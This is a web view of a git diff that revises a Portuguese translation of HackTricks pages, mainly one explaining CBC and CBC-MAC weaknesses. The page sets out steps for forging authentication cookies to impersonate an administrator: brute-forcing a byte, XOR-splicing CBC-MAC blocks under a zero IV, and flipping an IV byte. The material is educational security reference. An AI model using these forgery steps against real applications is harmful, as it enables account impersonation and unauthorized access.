@ -104,7 +104,7 @@ Existem diferentes formatos para armazenar certificados, cada um com seus própr
|
||||||
* Formato mais amplamente utilizado para certificados.
|
* Formato mais amplamente utilizado para certificados.
|
||||||
* Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
|
* Requer arquivos separados para certificados e chaves privadas, codificados em Base64 ASCII.
|
||||||
* Extensões comuns: .cer, .crt, .pem, .key.
|
* Extensões comuns: .cer, .crt, .pem, .key.
|
||||||
* Principalmente usado por servidores Apache e similares.
|
* Principalmente usado por Apache e servidores similares.
|
||||||
|
|
||||||
### **Formato DER**
|
### **Formato DER**
|
||||||
|
|
||||||
|
|
|
@ -1,14 +1,14 @@
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -16,19 +16,19 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
|
||||||
|
|
||||||
# CBC
|
# CBC
|
||||||
|
|
||||||
Se o **cookie** é **apenas** o **nome de usuário** (ou a primeira parte do cookie é o nome de usuário) e você deseja se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **fazer força bruta** no **primeiro byte** do cookie.
|
Se o **cookie** for **apenas** o **nome de usuário** (ou a primeira parte do cookie for o nome de usuário) e você quiser se passar pelo nome de usuário "**admin**". Então, você pode criar o nome de usuário **"bdmin"** e **bruteforce** o **primeiro byte** do cookie.
|
||||||
|
|
||||||
# CBC-MAC
|
# CBC-MAC
|
||||||
|
|
||||||
**Código de autenticação de mensagem de encadeamento de bloco de cifra** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e a criptografando bloco por bloco, onde a criptografia de cada bloco está vinculada ao anterior. Esse processo cria uma **cadeia de blocos**, garantindo que a alteração de até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
|
**Código de autenticação de mensagem em encadeamento de bloco de cifra** (**CBC-MAC**) é um método usado em criptografia. Funciona pegando uma mensagem e criptografando-a bloco por bloco, onde a criptografia de cada bloco está vinculada à anterior. Esse processo cria uma **cadeia de blocos**, garantindo que mudar até mesmo um único bit da mensagem original levará a uma mudança imprevisível no último bloco de dados criptografados. Para fazer ou reverter tal mudança, a chave de criptografia é necessária, garantindo segurança.
|
||||||
|
|
||||||
Para calcular o CBC-MAC da mensagem m, criptografa-se m no modo CBC com vetor de inicialização zero e mantém o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
|
Para calcular o CBC-MAC da mensagem m, criptografa-se m em modo CBC com vetor de inicialização zero e mantém-se o último bloco. A figura a seguir esboça o cálculo do CBC-MAC de uma mensagem composta por blocos![https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5](https://wikimedia.org/api/rest\_v1/media/math/render/svg/bbafe7330a5e40a04f01cc776c9d94fe914b17f5) usando uma chave secreta k e um cifrador de bloco E:
|
||||||
|
|
||||||
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
![https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png](https://upload.wikimedia.org/wikipedia/commons/thumb/b/bf/CBC-MAC\_structure\_\(en\).svg/570px-CBC-MAC\_structure\_\(en\).svg.png)
|
||||||
|
|
||||||
# Vulnerabilidade
|
# Vulnerabilidade
|
||||||
|
|
||||||
Com o CBC-MAC, geralmente o **IV usado é 0**.\
|
Com CBC-MAC geralmente o **IV usado é 0**.\
|
||||||
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
|
Isso é um problema porque 2 mensagens conhecidas (`m1` e `m2`) independentemente gerarão 2 assinaturas (`s1` e `s2`). Então:
|
||||||
|
|
||||||
* `E(m1 XOR 0) = s1`
|
* `E(m1 XOR 0) = s1`
|
||||||
|
@ -41,26 +41,26 @@ Então, uma mensagem composta por m1 e m2 concatenados (m3) gerará 2 assinatura
|
||||||
|
|
||||||
**O que é possível calcular sem conhecer a chave da criptografia.**
|
**O que é possível calcular sem conhecer a chave da criptografia.**
|
||||||
|
|
||||||
Imagine que você está criptografando o nome **Administrador** em blocos de **8 bytes**:
|
Imagine que você está criptografando o nome **Administrator** em blocos de **8bytes**:
|
||||||
|
|
||||||
* `Administ`
|
* `Administ`
|
||||||
* `rator\00\00\00`
|
* `rator\00\00\00`
|
||||||
|
|
||||||
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
|
Você pode criar um nome de usuário chamado **Administ** (m1) e recuperar a assinatura (s1).\
|
||||||
Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
|
Então, você pode criar um nome de usuário chamado o resultado de `rator\00\00\00 XOR s1`. Isso gerará `E(m2 XOR s1 XOR 0)` que é s32.\
|
||||||
Agora, você pode usar s32 como a assinatura do nome completo **Administrador**.
|
Agora, você pode usar s32 como a assinatura do nome completo **Administrator**.
|
||||||
|
|
||||||
### Resumo
|
### Resumo
|
||||||
|
|
||||||
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
|
1. Obtenha a assinatura do nome de usuário **Administ** (m1) que é s1
|
||||||
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** é s32**.**
|
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR s1 XOR 0** que é s32**.**
|
||||||
3. Defina o cookie como s32 e ele será um cookie válido para o usuário **Administrador**.
|
3. Defina o cookie para s32 e será um cookie válido para o usuário **Administrator**.
|
||||||
|
|
||||||
# Ataque Controlando o IV
|
# Ataque Controlando IV
|
||||||
|
|
||||||
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
|
Se você puder controlar o IV usado, o ataque pode ser muito fácil.\
|
||||||
Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrador**" você pode criar o usuário "**Administrator**" e obterá seu cookie.\
|
Se os cookies forem apenas o nome de usuário criptografado, para se passar pelo usuário "**administrator**" você pode criar o usuário "**Administrator**" e obter seu cookie.\
|
||||||
Agora, se você puder controlar o IV, poderá alterar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator**. Este cookie será válido para **se passar** pelo usuário **administrador** com o IV inicial.
|
Agora, se você puder controlar o IV, pode mudar o primeiro byte do IV para que **IV\[0] XOR "A" == IV'\[0] XOR "a"** e regenerar o cookie para o usuário **Administrator.** Este cookie será válido para **se passar** pelo usuário **administrator** com o **IV** inicial.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
|
@ -68,16 +68,16 @@ Mais informações em [https://en.wikipedia.org/wiki/CBC-MAC](https://en.wikiped
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show more
Loading…
Reference in a new issue